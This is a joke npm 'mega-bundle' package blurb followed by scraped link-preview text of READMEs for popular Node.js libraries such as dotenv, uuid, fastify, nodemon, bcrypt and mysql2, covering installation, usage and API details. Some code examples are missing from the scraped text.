This package contains all the best packages on npm and bunbles them one awesome bundle of awesomeness. Should not be used for production (or anything really). Made with ❤️ It was 200000 small files totalling 1.8 GB, but I had to go down to 1000 dependencies.

# data[].attributes.attachment_link.readable_text
Announcement 📣
From the makers that brought you Dotenv, introducing Dotenv Sync.
Sync your .env files between machines, environments, and team members.
Join the early access list. 🕶

Dotenv is a zero-dependency module that loads environment variables from a .env file into process.env. Storing configuration in the environment separate from code is based on The Twelve-Factor App methodology.

Install

npm install dotenv

# or with Yarn
yarn add dotenv

Usage

As early as possible in your application, require and configure dotenv.

Create a .env file in the root directory of your project. Add environment-specific variables on new lines in the form of NAME=VALUE. For example:

DB_HOST=localhost
DB_USER=root
DB_PASS=s1mpl3

process.env now has the keys and values you defined in your .env file.

Preload

You can use the --require (-r) command line option to preload dotenv. By doing this, you do not need to require and load dotenv in your application code. This is the preferred approach when using import instead of require.

$ node -r dotenv/config your_script.js

The configuration options below are supported as command line arguments in the format dotenv_config_<option>=value

$ node -r dotenv/config your_script.js dotenv_config_path=/custom/path/to/.env

Additionally, you can use environment variables to set configuration options. Command line arguments will precede these.

$ DOTENV_CONFIG_<OPTION>=value node -r dotenv/config your_script.js

$ DOTENV_CONFIG_ENCODING=latin1 node -r dotenv/config your_script.js dotenv_config_path=/custom/path/to/.env

Config

config will read your .env file, parse the contents, assign it toprocess.env, and return an Object with a parsed key containing the loaded content or an error key if it failed.

You can additionally, pass options to config.

Options

Path

Default: path.resolve(process.cwd(), '.env')

You may specify a custom path if your file containing environment variables is located elsewhere.

Encoding

Default: utf8

You may specify the encoding of your file containing environment variables.

Debug

Default: false

You may turn on logging to help debug why certain keys or values are not being set as you expect.

Parse

The engine which parses the contents of your file containing environment variables is available to use. It accepts a String or Buffer and will return an Object with the parsed keys and values.

Options

Debug

Default: false

You may turn on logging to help debug why certain keys or values are not being set as you expect.

Rules

The parsing engine currently supports the following rules:

BASIC=basic becomes {BASIC: 'basic'}

empty lines are skipped

lines beginning with # are treated as comments

empty values become empty strings (EMPTY= becomes {EMPTY: ''})

inner quotes are maintained (think JSON) (JSON={"foo": "bar"} becomes {JSON:"{\"foo\": \"bar\"}")

whitespace is removed from both ends of unquoted values (see more on ) (FOO= some value becomes {FOO: 'some value'})

single and double quoted values are escaped (SINGLE_QUOTE='quoted' becomes {SINGLE_QUOTE: "quoted"})

single and double quoted values maintain whitespace from both ends (FOO=" some value " becomes {FOO: ' some value '})

double quoted values expand new lines (MULTILINE="new\nline" becomes

{MULTILINE: 'new line'}

FAQ

Should I commit my .env file?

No. We strongly recommend against committing your .env file to version control. It should only include environment-specific values such as database passwords or API keys. Your production database should have a different password than your development database.

Should I have multiple .env files?

No. We strongly recommend against having a "main" .env file and an "environment" .env file like .env.test. Your config should vary between deploys, and you should not be sharing values between environments.

In a twelve-factor app, env vars are granular controls, each fully orthogonal to other env vars. They are never grouped together as "environments", but instead are independently managed for each deploy. This is a model that scales up smoothly as the app naturally expands into more deploys over its lifetime.

- The Twelve-Factor App

What happens to environment variables that were already set?

We will never modify any environment variables that have already been set. In particular, if there is a variable in your .env file which collides with one that already exists in your environment, then that variable will be skipped. This behavior allows you to override all .env configurations with a machine-specific environment, although it is not recommended.

If you want to override process.env you can do something like this:

Can I customize/write plugins for dotenv?

For dotenv@2.x.x: Yes. dotenv.config() now returns an object representing the parsed.env file. This gives you everything you need to continue setting values on process.env. For example:

What about variable expansion?

Try dotenv-expand

How do I use dotenv with import?

ES2015 and beyond offers modules that allow you to export any top-level function, class, var, let, or const.

When you run a module containing an import declaration, the modules it imports are loaded first, then each module body is executed in a depth-first traversal of the dependency graph, avoiding cycles by skipping anything already executed.

- ES6 In Depth: Modules

You must run dotenv.config() before referencing any environment variables. Here's an example of problematic code:

errorReporter.js:

client will not be configured correctly because it was constructed before dotenv.config() was executed. There are (at least) 3 ways to make this work.

1. Preload dotenv: node --require dotenv/config index.js (Note: you do not need to import dotenv with this approach)

2. Import dotenv/config instead of dotenv (Note: you do not need to call dotenv.config() and must pass options via the command line or environment variables with this approach)

3. Create a separate file that will execute config first as outlined in this comment on #133

Contributing Guide

See CONTRIBUTING.md

Change Log

See CHANGELOG.md

Who's using dotenv?
These npm modules depend on it.
Projects that expand it often use the keyword "dotenv" on npm.

# data[].attributes.attachment_link.description
Announcement 📣 From the makers that brought you Dotenv, introducing Dotenv Sync.Sync your .env files between machines, environments, and team members. Join the early access list. 🕶 Dotenv is a zero-dependency module that loads environment variables from a .env file into process.env .

# data[].attributes.attachment_link.readable_text
last modified October 18, 2021

Dotenv tutorial shows how to load environment variables in JavaScript using the dotenv module.

The dotenv module

The dotenv is a zero-dependency module that loads environment variables from a.env file into process.env. Storing configuration in the environment separate from code is based on the Twelve-Factor App methodology.

Environment variables

Environment variables allow us to manage the configuration of our applications separately from our codebase. Separating configurations makes it easier for our application to be deployed in different environments.

Environment variables are variables external to our application which reside in the OS or the container where the production application is running. Because development is mostly done on local machines, environment variables are put either to local environment variables with commands such as set or export, or stored in the local .env file.

By convention, the variables are written in uppercase letters (e.g. PORT).

Common examples of configuration data that are stored in environment variables include:

HTTP port

database connection string

location of static files

endpoints of external services

The .env file should never be committed to the source code repository. We must place the file into the.gitignore file. (When using git.)

Modern editors have support for .env files; for instance, the code has the DotENV extension.

The .env parsing rules

Here are some basic parsing engine rules:

BASIC=basic becomes {BASIC: 'basic'}

empty lines are skipped

comments start with #

empty values become empty strings; BASIC= becomes {BASIC: ''}

inner quotes are maintained

Existing environment variables are not modified; they are skipped.

Dotenv set up

We install the dotenv module with npm.

$ node -v
v11.5.0

We use Node version 11.5.0.

$ npm init -y

We initiate a new Node application.

$ npm i dotenv

We install dotenv with npm i dotenv command.

Dotenv simple example

In the first example, read configuration data from the .env file.

HOST = localhost
DATABASE = ydb
PORT = 5432

We have three variables: HOST, DATABASE, and PORT. We adhere to the naming convention by using uppercase letters.

require('dotenv').config()

const hostname = process.env.HOST;
const database = process.env.DATABASE;
const port = process.env.PORT;

console.log(hostname);
console.log(database);
console.log(port);

In the example, we read the three variables and print them to the console.

require('dotenv').config()

We load the dotenv library and call the config method, which loads the variables into the process.env.

const hostname = process.env.HOST;
const database = process.env.DATABASE;
const port = process.env.PORT;

We read the three variables from process.env.

console.log(hostname);
console.log(database);
console.log(port);

Finally, the variables are printed to the terminal.

$ node simple.js
localhost
ydb
5432

Dotenv preloading

We can use the --require (-r) command line option to preload dotenv. By doing this, we do not need to require and load dotenv in the application.

HOST = localhost
DATABASE = ydb
PORT = 5432

We have the same variables.

const hostname = process.env.HOST;
const database = process.env.DATABASE;
const port = process.env.PORT;
const user = process.env.USER;

console.log(hostname);
console.log(database);
console.log(port);
console.log(user);

In this example, we do not require the dotenv module. In addition, we read a variable that is set in the OS environment.

$ set USER=user7
$ node -r dotenv/config preload.js
localhost
ydb
5432
user7

On Windows, we use set to define environment variables. (Use export on Linux). The variables are printed OK.

In this tutorial, we have used the dotenv module to read environment variables from the .env file.

List all JavaScript tutorials.

# data[].attributes.attachment_link.description
Dotenv tutorial shows how to load environment variables in JavaScript using the dotenv module.

# data[].attributes.attachment_link.description
Rest assured! In case the WebSocket connection is not possible, it will fall back to HTTP long-polling. And if the connection is lost, the client will automatically try to reconnect.

# data[].attributes.attachment_link.readable_text
For the creation of RFC4122 UUIDs

Complete - Support for RFC4122 version 1, 3, 4, and 5 UUIDs

Cross-platform - Support for ...

Secure - Cryptographically-strong random values

Small - Zero-dependency, small footprint, plays nice with "tree shaking" packagers

CLI - Includes the uuid command line utility

Upgrading from uuid@3.x? Your code is probably okay, but check out Upgrading From uuid@3.x for details.

Quickstart

To create a random UUID...
1. Install
2. Create a UUID (ES6 module syntax)

... or using CommonJS syntax:

For timestamp UUIDs, namespace UUIDs, and other options read on ...

API Summary

API

uuid.NIL

The nil UUID string (all zeros).

Example:

uuid.parse(str)

Convert UUID string to array of bytes

Note: Ordering of values in the byte arrays used by parse() and stringify() follows the left ↠ right order of hex-pairs in UUID strings. As shown in the example below.

Example:

uuid.stringify(arr[, offset])

Convert array of bytes to UUID string

Note: Ordering of values in the byte arrays used by parse() and stringify() follows the left ↠ right order of hex-pairs in UUID strings. As shown in the example below.

Example:

uuid.v1([options[, buffer[, offset]]])

Create an RFC version 1 (timestamp) UUID

Note: The default node id (the last 12 digits in the UUID) is generated once, randomly, on process startup, and then remains unchanged for the duration of the process.

Note: options.random and options.rng are only meaningful on the very first call to v1(), where they may be passed to initialize the internal node and clockseq fields.

Example:

Example using options:

uuid.v3(name, namespace[, buffer[, offset]])

Create an RFC version 3 (namespace w/ MD5) UUID

API is identical to v5(), but uses "v3" instead.

⚠️ Note: Per the RFC, " If backward compatibility is not an issue, SHA-1 [Version 5] is preferred."

uuid.v4([options[, buffer[, offset]]])

Create an RFC version 4 (random) UUID

Example:

Example using predefined random values:

uuid.v5(name, namespace[, buffer[, offset]])

Create an RFC version 5 (namespace w/ SHA-1) UUID

Note: The RFC DNS and URL namespaces are available as v5.DNS and v5.URL.

Example with custom namespace:

Example with RFC URL namespace:

uuid.validate(str)

Test a string to see if it is a valid UUID

Example:

Using validate and version together it is possible to do per-version validation, e.g. validate for only v4 UUIds.

uuid.version(str)

Detect RFC version of a UUID

Example:

Command Line

UUIDs can be generated from the command line using uuid.

$ uuid
ddeb27fb-d9a0-4624-be4d-4615062daed4

The default is to generate version 4 UUIDS, however the other versions are supported. Type uuid --help for details:

ECMAScript Modules

This library comes with ECMAScript Modules (ESM) support for Node.js versions that support it ( example) as well as bundlers like rollup.js ( example) and webpack ( example) (targeting both, Node.js and browser environments).

To run the examples you must first create a dist build of this library in the module root:

CDN Builds

ECMAScript Modules

To load this module directly into modern browsers that support loading ECMAScript Modules you can make use of jspm:

UMD

To load this module directly into older browsers you can use the UMD (Universal Module Definition) builds from any of the following CDNs:

Using UNPKG:

Using jsDelivr:

Using cdnjs:

These CDNs all provide the same method:

Methods for the other algorithms (, and ) are available from the files uuidv1.min.js, uuidv3.min.js and uuidv5.min.js respectively.

"getRandomValues() not supported"

This error occurs in environments where the standard crypto.getRandomValues() API is not supported. This issue can be resolved by adding an appropriate polyfill:

React Native / Expo

1. Install react-native-get-random-values

2. Import it before uuid. Since uuid might also appear as a transitive dependency of some other imports it's safest to just import react-native-get-random-values as the very first thing in your entry point:

Note: If you are using Expo, you must be using at least react-native-get-random-values@1.5.0 and expo@39.0.0.

Web Workers / Service Workers (Edge <= 18)

In Edge <= 18, Web Crypto is not supported in Web Workers or Service Workers and we are not aware of a polyfill (let us know if you find one, please).

Upgrading From uuid@7.x

Only Named Exports Supported When Using with Node.js ESM

uuid@7.x did not come with native ECMAScript Module (ESM) support for Node.js. Importing it in Node.js ESM consequently imported the CommonJS source with a default export. This library now comes with true Node.js ESM support and only provides named exports.

Instead of doing:

you will now have to use the named exports:

Deep Requires No Longer Supported

Deep requires like require('uuid/v4') which have been deprecated in uuid@7.x are no longer supported.

Upgrading From uuid@3.x

" Wait... what happened to uuid@4.x - uuid@6.x?!?"

In order to avoid confusion with RFC version 4 and version 5 UUIDs, and a possible version 6, releases 4 thru 6 of this module have been skipped.

Deep Requires Now Deprecated

uuid@3.x encouraged the use of deep requires to minimize the bundle size of browser builds:

As of uuid@7.x this library now provides ECMAScript modules builds, which allow packagers like Webpack and Rollup to do "tree-shaking" to remove dead code. Instead, use the import syntax:

... or for CommonJS:

Default Export Removed

uuid@3.x was exporting the Version 4 UUID method as a default export:

This usage pattern was already discouraged in uuid@3.x and has been removed in uuid@7.x.

Markdown generated from README_js.md by

# data[].attributes.attachment_link.description
For the creation of RFC4122 UUIDs Complete - Support for RFC4122 version 1, 3, 4, and 5 UUIDs Cross-platform - Support for ... Secure - Cryptographically-strong random values Small - Zero-dependency, small footprint, plays nice with "tree shaking" packagers CLI - Includes the uuid command line utility Upgrading from uuid@3.x?

# data[].attributes.attachment_link.title
GitHub - axios/axios: Promise based HTTP client for the browser and node.js

# data[].attributes.attachment_link.description
Promise based HTTP client for the browser and node.js - GitHub - axios/axios: Promise based HTTP client for the browser and node.js

# data[].attributes.attachment_link.readable_text
A simple javascript utility for conditionally joining classNames together.

Install with npm or Bower.

The classNames function takes any number of arguments which can be a string or object. The argument'foo' is short for {foo: true}. If the value of the key is falsy, it won't be included in the output.

classNames('foo' , 'bar' ); // => 'foo bar'
      classNames('foo' , { bar: true }); // => 'foo bar'
      classNames({ foo: true }, { bar: true }); // => 'foo bar'
      classNames({ foo: true, bar: true }); // => 'foo bar'

      // lots of arguments of various types
      classNames('foo' , { bar: true, duck: false }, 'baz' , { quux: true }) // => 'foo bar baz quux'

      // other falsy values are just ignored
      classNames(null, false, 'bar' , undefined, 0, 1, { baz: null }, ' ' ); // => 'bar 1'

Arrays will be recursively flattened as per the rules above:

var arr = ['b' , { c: true, d: false }];
      classNames('a' , arr); // => 'a b c'

License

(The MIT License)

Copyright (c) 2015 Jed Watson

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the 'Software'), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

# data[].attributes.attachment_link.description
A simple javascript utility for conditionally joining classNames together. Install with npm or Bower. The classNames function takes any number of arguments which can be a string or object. The argument'foo' is short for {foo: true}. If the value of the key is falsy, it won't be included in the output.

# data[].attributes.attachment_link.description
The semantic version parser used by npm.

# data[].attributes.attachment_link.title
5 Best Practices to Choosing Third-Party NPM Packages

# data[].attributes.attachment_link.description
What you should consider when choosing a third-party NPM library for your project.

# data[].attributes.attachment_link.readable_text
Get fastify with NPM:

npm install fastify

Then create server.js and add the following content:

// Require the framework and instantiate it const fastify = require('fastify')({ logger: true }) // Declare a route fastify.get('/', (request, reply) => { reply.send({ hello: 'world' }) }) // Run the server! fastify.listen(3000, (err) => { if (err) { fastify.log.error(err) process.exit(1) } })

// Require the framework and instantiate it const fastify = require('fastify')({ logger: true }) // Declare a route fastify.get('/', async (request, reply) => { return { hello: 'world' } }) // Run the server! const start = async () => { try { await fastify.listen(3000) } catch (err) { fastify.log.error(err) process.exit(1) } } start()

Finally, launch the server with:

node server

and you can test it with:

curl http://localhost:3000

Request/Response validation and hooks

Of course, Fastify can do much more than this.

For example, you can easily provide input and output validation using JSON Schema and perform specific operations before the handler is executed:

const fastify = require('fastify')({ logger: true }) fastify.route({ method: 'GET', url: '/', schema: { // request needs to have a querystring with a `name` parameter querystring: { name: { type: 'string' } }, // the response needs to be an object with an `hello` property of type 'string' response: { 200: { type: 'object', properties: { hello: { type: 'string' } } } } }, // this function is executed for every request before the handler is executed preHandler: (request, reply, done) => { // E.g. check authentication done() }, handler: (request, reply) => { reply.send({ hello: 'world' }) } }) fastify.listen(3000, (err) => { if (err) { fastify.log.error(err) process.exit(1) } })

const fastify = require('fastify')({ logger: true }) fastify.route({ method: 'GET', url: '/', schema: { // request needs to have a querystring with a `name` parameter querystring: { name: { type: 'string' } }, // the response needs to be an object with an `hello` property of type 'string' response: { 200: { type: 'object', properties: { hello: { type: 'string' } } } } }, // this function is executed for every request before the handler is executed preHandler: async (request, reply) => { // E.g. check authentication }, handler: async (request, reply) => { return { hello: 'world' } } }) const start = async () => { try { await fastify.listen(3000) } catch (err) { fastify.log.error(err) process.exit(1) } } start()

TypeScript Support

Fastify is shipped with a typings file, but you may need to install @types/node, depending on the Node.js version you are using.

The following example creates a http server.

We pass the relevant typings for our http version used.

By passing types we get correctly typed access to the underlying http objects in routes.

If using http2 we'd pass <http2.Http2Server, http2.Http2ServerRequest, http2.Http2ServerResponse>.

For https pass http2.Http2SecureServer or http.SecureServer instead of Server.

This ensures within the server handler we also get http.ServerResponse with correct typings on reply.res.

import Fastify, { FastifyInstance, RouteShorthandOptions } from 'fastify' import { Server, IncomingMessage, ServerResponse } from 'http' const server: FastifyInstance = Fastify({}) const opts: RouteShorthandOptions = { schema: { response: { 200: { type: 'object', properties: { pong: { type: 'string' } } } } } } server.get('/ping', opts, (request, reply) => { reply.send({ pong: 'it worked!' }) }) server.listen(3000, (err) => { if (err) { server.log.error(err) process.exit(1) } const address = server.server.address() const port = typeof address === 'string' ? address : address?.port })

import Fastify, { FastifyInstance, RouteShorthandOptions } from 'fastify' import { Server, IncomingMessage, ServerResponse } from 'http' const server: FastifyInstance = Fastify({}) const opts: RouteShorthandOptions = { schema: { response: { 200: { type: 'object', properties: { pong: { type: 'string' } } } } } } server.get('/ping', opts, async (request, reply) => { return { pong: 'it worked!' } }) const start = async () => { try { await server.listen(3000) const address = server.server.address() const port = typeof address === 'string' ? address : address?.port } catch (err) { server.log.error(err) process.exit(1) } } start()

Visit the Documentation to learn more about all the features that Fastify has to offer.

# data[].attributes.attachment_link.title
Fastify, Fast and low overhead web framework, for Node.js

# data[].attributes.attachment_link.description
Get fastify with NPM: npm install fastify Then create server.js and add the following content: // Require the framework and instantiate it const fastify = require('fastify')({ logger: true }) // Declare a route fastify.get('/', (request, reply) => { reply.send({ hello: 'world' }) }) // Run the server!

# data[].attributes.attachment_link.description
A JavaScript utility library delivering consistency, modularity, performance, & extras.

# data[].attributes.attachment_link.title
GitHub - ReactiveX/rxjs: A reactive programming library for JavaScript

# data[].attributes.attachment_link.description
Curious what's next for RxJS? Follow along with Issue 6367. Reactive Extensions Library for JavaScript. This is a rewrite of Reactive-Extensions/RxJS and is the latest production-ready version of RxJS. This rewrite is meant to have better performance, better modularity, better debuggable call stacks, while staying mostly backwards compatible, with some breaking changes that reduce the API surface.

# data[].attributes.attachment_link.readable_text
Jest is a JavaScript testing framework designed to ensure correctness of any JavaScript codebase. It allows you to write tests with an approachable, familiar and feature-rich API that gives you results quickly.

Jest makes testing delightful.

# data[].attributes.attachment_link.description
Jest is a JavaScript testing framework designed to ensure correctness of any JavaScript codebase. It allows you to write tests with an approachable, familiar and feature-rich API that gives you results quickly. Jest makes testing delightful.

# data[].attributes.attachment_link.readable_text
Nodemon is a utility depended on by over 1.5 million projects, that will monitor for any changes in your source and automatically restart your server. Perfect for development.

Swap nodemon instead of node to run your code, and now your process will automatically restart when your code changes. To install, get node.js, then from your terminal run:

npm install -g nodemon

Features

Automatic restarting of application.

Detects default file extension to monitor.

Default support for node but easy to run any executable, such as python, ruby, make, etc.

Ignoring specific files or directories.

Watch specific directories.

Works with server applications or one time run utilities and REPLs.

Scriptable through node require statements.

Open source and available on github.

Read the full documentation or visit the FAQ

# data[].attributes.attachment_link.description
Nodemon is a utility depended on by over 1.5 million projects, that will monitor for any changes in your source and automatically restart your server. Perfect for development. Swap nodemon instead of node to run your code, and now your process will automatically restart when your code changes.

# data[].attributes.attachment_link.readable_text
A library to help you hash passwords.

You can read about bcrypt in Wikipedia as well as in the following article: How To Safely Store A Password

If You Are Submitting Bugs or Issues

Verify that the node version you are using is a stable version; it has an even major release number. Unstable versions are currently not supported and issues created while using an unstable version will be closed.

If you are on a stable version of node, please provide a sufficient code snippet or log files for installation issues. The code snippet does not require you to include confidential information. However, it must provide enough information such that the problem can be replicable. Issues which are closed without resolution often lack required information for replication.

Version Compatibility

node-gyp only works with stable/released versions of node. Since the bcrypt module uses node-gyp to build and install, you'll need a stable version of node to use bcrypt. If you do not, you'll likely see an error that starts with:

gyp ERR! stack Error: "pre" versions of node cannot be installed, use the --nodedir flag instead

Security Issues And Concerns

Per bcrypt implementation, only the first 72 bytes of a string are used. Any extra bytes are ignored when matching passwords. Note that this is not the first 72 characters. It is possible for a string to contain less than 72 characters, while taking up more than 72 bytes (e.g. a UTF-8 encoded string containing emojis).

As should be the case with any security tool, this library should be scrutinized by anyone using it. If you find or suspect an issue with the code, please bring it to my attention and I'll spend some time trying to make sure that this tool is as secure as possible.

To make it easier for people using this tool to analyze what has been surveyed, here is a list of BCrypt related security issues/concerns as they've come up.

An issue with passwords was found with a version of the Blowfish algorithm developed for John the Ripper. This is not present in the OpenBSD version and is thus not a problem for this module. HT zooko.

Versions < 5.0.0 suffer from bcrypt wrap-around bug and will truncate passwords >= 255 characters leading to severely weakened passwords. Please upgrade at earliest. See this wiki page for more details.

Versions < 5.0.0 do not handle NUL characters inside passwords properly leading to all subsequent characters being dropped and thus resulting in severely weakened passwords. Please upgrade at earliest. See this wiki page for more details.

Compatibility Note

This library supports $2a$ and $2b$ prefix bcrypt hashes. $2x$ and $2y$ hashes are specific to bcrypt implementation developed for John the Ripper. In theory, they should be compatible with $2b$ prefix.

Compatibility with hashes generated by other languages is not 100% guaranteed due to difference in character encodings. However, it should not be an issue for most cases.

Migrating from v1.0.x

Hashes generated in earlier version of bcrypt remain 100% supported in v2.x.x and later versions. In most cases, the migration should be a bump in the package.json.

Hashes generated in v2.x.x using the defaults parameters will not work in earlier versions.

Dependencies

NodeJS

Please check the dependencies for this tool at: https://github.com/nodejs/node-gyp

Windows users will need the options for c# and c++ installed with their visual studio instance.

Python 2.x

OpenSSL - This is only required to build the bcrypt project if you are using versions <= 0.7.7. Otherwise, we're using the builtin node crypto bindings for seed data (which use the same OpenSSL code paths we were, but don't have the external dependency).

Install via NPM

npm install bcrypt

Note: OS X users using Xcode 4.3.1 or above may need to run the following command in their terminal prior to installing if errors occur regarding xcodebuild: sudo xcode-select -switch /Applications/Xcode.app/Contents/Developer
Pre-built binaries for various NodeJS versions are made available on a best-effort basis.
Only the current stable and supported LTS releases are actively tested against. Please note that there may be an interval between the release of the module and the availabilty of the compiled modules.

Currently, we have pre-built binaries that support the following platforms:

1. Windows x32 and x64

2. Linux x64 (GlibC targets only). Pre-built binaries for MUSL targets such as Apline Linux are not available.

3. macOS

If you face an error like this:

node-pre-gyp ERR! Tried to download(404): https://github.com/kelektiv/node.bcrypt.js/releases/download/v1.0.2/bcrypt_lib-v1.0.2-node-v48-linux-x64.tar.gz

make sure you have the appropriate dependencies installed and configured for your platform. You can find installation instructions for the dependencies for some common platforms in this page.

Usage

async (recommended)

To hash a password:

Technique 1 (generate a salt and hash on separate function calls):

Technique 2 (auto-gen a salt and hash):

Note that both techniques achieve the same end-result.

To check a password:
A Note on Timing Attacks
with promises

bcrypt uses whatever Promise implementation is available in global.Promise. NodeJS >= 0.12 has a native Promise implementation built in. However, this should work in any Promises/A+ compliant implementation.

Async methods that accept a callback, return a Promise when callback is not specified if Promise support is available.

This is also compatible with async/await

sync

To hash a password:

Technique 1 (generate a salt and hash on separate function calls):

Technique 2 (auto-gen a salt and hash):

As with async, both techniques achieve the same end-result.

To check a password:
A Note on Timing Attacks
Why is async mode recommended over sync mode?

If you are using bcrypt on a simple script, using the sync mode is perfectly fine. However, if you are using bcrypt on a server, the async mode is recommended. This is because the hashing done by bcrypt is CPU intensive, so the sync version will block the event loop and prevent your application from servicing any other inbound requests or events. The async version uses a thread pool which does not block the main event loop.

API

genSaltSync(rounds, minor)

rounds - [OPTIONAL] - the cost of processing the data. (default - 10)

minor - [OPTIONAL] - minor version of bcrypt to use. (default - b)

genSalt(rounds, minor, cb)

rounds - [OPTIONAL] - the cost of processing the data. (default - 10)

minor - [OPTIONAL] - minor version of bcrypt to use. (default - b)

cb - [OPTIONAL] - a callback to be fired once the salt has been generated. uses eio making it asynchronous. If cb is not specified, a Promise is returned if Promise support is available.

err - First parameter to the callback detailing any errors.

salt - Second parameter to the callback providing the generated salt.

hashSync(data, salt)

data - [REQUIRED] - the data to be encrypted.

salt - [REQUIRED] - the salt to be used to hash the password. if specified as a number then a salt will be generated with the specified number of rounds and used (see example under Usage).

hash(data, salt, cb)

data - [REQUIRED] - the data to be encrypted.

salt - [REQUIRED] - the salt to be used to hash the password. if specified as a number then a salt will be generated with the specified number of rounds and used (see example under Usage).

cb - [OPTIONAL] - a callback to be fired once the data has been encrypted. uses eio making it asynchronous. If cb is not specified, a Promise is returned if Promise support is available.

err - First parameter to the callback detailing any errors.

encrypted - Second parameter to the callback providing the encrypted form.

compareSync(data, encrypted)

data - [REQUIRED] - data to compare.

encrypted - [REQUIRED] - data to be compared to.

compare(data, encrypted, cb)

data - [REQUIRED] - data to compare.

encrypted - [REQUIRED] - data to be compared to.

cb - [OPTIONAL] - a callback to be fired once the data has been compared. uses eio making it asynchronous. If cb is not specified, a Promise is returned if Promise support is available.

err - First parameter to the callback detailing any errors.

same - Second parameter to the callback providing whether the data and encrypted forms match [true | false].

getRounds(encrypted) - return the number of rounds used to encrypt a given hash
encrypted - [REQUIRED] - hash from which the number of rounds used should be extracted.

A Note on Rounds

A note about the cost. When you are hashing your data the module will go through a series of rounds to give you a secure hash. The value you submit there is not just the number of rounds that the module will go through to hash your data. The module will use the value you enter and go through 2^rounds iterations of processing.

From @garthk, on a 2GHz core you can roughly expect:

rounds=8 : ~40 hashes/sec rounds=9 : ~20 hashes/sec rounds=10: ~10 hashes/sec rounds=11: ~5 hashes/sec rounds=12: 2-3 hashes/sec rounds=13: ~1 sec/hash rounds=14: ~1.5 sec/hash rounds=15: ~3 sec/hash rounds=25: ~1 hour/hash rounds=31: 2-3 days/hash

A Note on Timing Attacks

Because it's come up multiple times in this project, and other bcrypt projects, it needs to be said. The bcrypt comparison function is not susceptible to timing attacks. From codahale/bcrypt-ruby#42:

One of the desired properties of a cryptographic hash function is preimage attack resistance, which means there is no shortcut for generating a message which, when hashed, produces a specific digest.

A great thread on this, in much more detail can be found @ codahale/bcrypt-ruby#43

If you're unfamiliar with timing attacks and want to learn more you can find a great writeup @ A Lesson In Timing Attacks

However, timing attacks are real. And, the comparison function is not time safe. What that means is that it may exit the function early in the comparison process. This happens because of the above. We don't need to be careful that an attacker is going to learn anything, and our comparison function serves to provide a comparison of hashes, it is a utility to the overall purpose of the library. If you end up using it for something else we cannot guarantee the security of the comparator. Keep that in mind as you use the library.

Hash Info

The characters that comprise the resultant hash are ./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789$.

Resultant hashes will be 60 characters long and they will include the salt among other parameters, as follows:
$[algorithm]$[cost]$[salt][hash]

2 chars hash algorithm identifier prefix. "$2a$" or "$2b$" indicates BCrypt

Cost-factor (n). Represents the exponent used to determine how many iterations 2^n

16-byte (128-bit) salt, base64 encoded to 22 characters

24-byte (192-bit) hash, base64 encoded to 31 characters

Example:

$2b$10$nOUIs5kJ7naTuTFkBy1veuK0kSxUFXfuaOKdOKf9xYT0KKIGSJwFa | | | | | | | hash-value = K0kSxUFXfuaOKdOKf9xYT0KKIGSJwFa | | | | | salt = nOUIs5kJ7naTuTFkBy1veu | | | cost-factor => 10 = 2^10 rounds | hash-algorithm identifier => 2b = BCrypt

Testing

If you create a pull request, tests better pass :)

npm install npm test

Credits

The code for this comes from a few sources:

Contributors

License

Unless stated elsewhere, file headers or otherwise, the license as stated in the LICENSE file.

# data[].attributes.attachment_link.description
A library to help you hash passwords. You can read about bcrypt in Wikipedia as well as in the following article: How To Safely Store A Password Verify that the node version you are using is a stable version; it has an even major release number.

# data[].attributes.attachment_link.title
Express - Node.js web application framework

# data[].attributes.attachment_link.description
Express is a minimal and flexible Node.js web application framework that provides a robust set of features for web and mobile applications.

# data[].attributes.attachment_link.title
Voca: The ultimate JavaScript string library

# data[].attributes.attachment_link.description
Voca provides functions to manipulate strings in JavaScript: change case, trim, pad, slugifly, latinise, sprintf, truncate, escape and more

# data[].attributes.attachment_link.readable_text
MySQL 2

English | 简体中文 | Português (BR)

MySQL client for Node.js with focus on performance. Supports prepared statements, non-utf8 encodings, binary log protocol, compression, ssl much more.

Table of contents
History and Why MySQL2

MySQL2 project is a continuation of MySQL-Native. Protocol parser code was rewritten from scratch and api changed to match popular mysqljs/mysql. MySQL2 team is working together with mysqljs/mysql team to factor out shared code and move it under mysqljs organisation.

MySQL2 is mostly API compatible with mysqljs and supports majority of features. MySQL2 also offers these additional features:

Installation

MySQL2 is free from native bindings and can be installed on Linux, Mac OS or Windows without any issues.

npm install --save mysql2

If you are using TypeScript, you will need to install @types/node.

npm install --save-dev @types/node

For TypeScript documentation and examples, see here.

First Query

Using Prepared Statements

With MySQL2 you also get the prepared statements. With prepared statements MySQL doesn't have to prepare plan for same query every time, this results in better performance. If you don't know why they are important, please check these discussions:

MySQL2 provides execute helper which will prepare and query the statement. You can also manually prepare / unprepare statement with prepare / unprepare methods.

Using connection pools

Connection pools help reduce the time spent connecting to the MySQL server by reusing a previous connection, leaving them open instead of closing when you are done with them.

This improves the latency of queries as you avoid all of the overhead that comes with establishing a new connection.

The pool does not create all connections upfront but creates them on demand until the connection limit is reached.

You can use the pool in the same way as connections (using pool.query() and pool.execute()):

Alternatively, there is also the possibility of manually acquiring a connection from the pool and returning it later:

Using Promise Wrapper

MySQL2 also support Promise API. Which works very well with ES7 async await.

MySQL2 use default Promise object available in scope. But you can choose which Promise implementation you want to use.

MySQL2 also exposes a .promise() function on Pools, so you can create a promise/non-promise connections from the same pool.

MySQL2 exposes a .promise() function on Connections, to "upgrade" an existing non-promise connection to use promise.

Array Results

If you have two columns with the same name, you might want to get results as an array rather than an object to prevent them from clashing. This is a deviation from the Node MySQL library.

For example: select 1 as foo, 2 as foo.

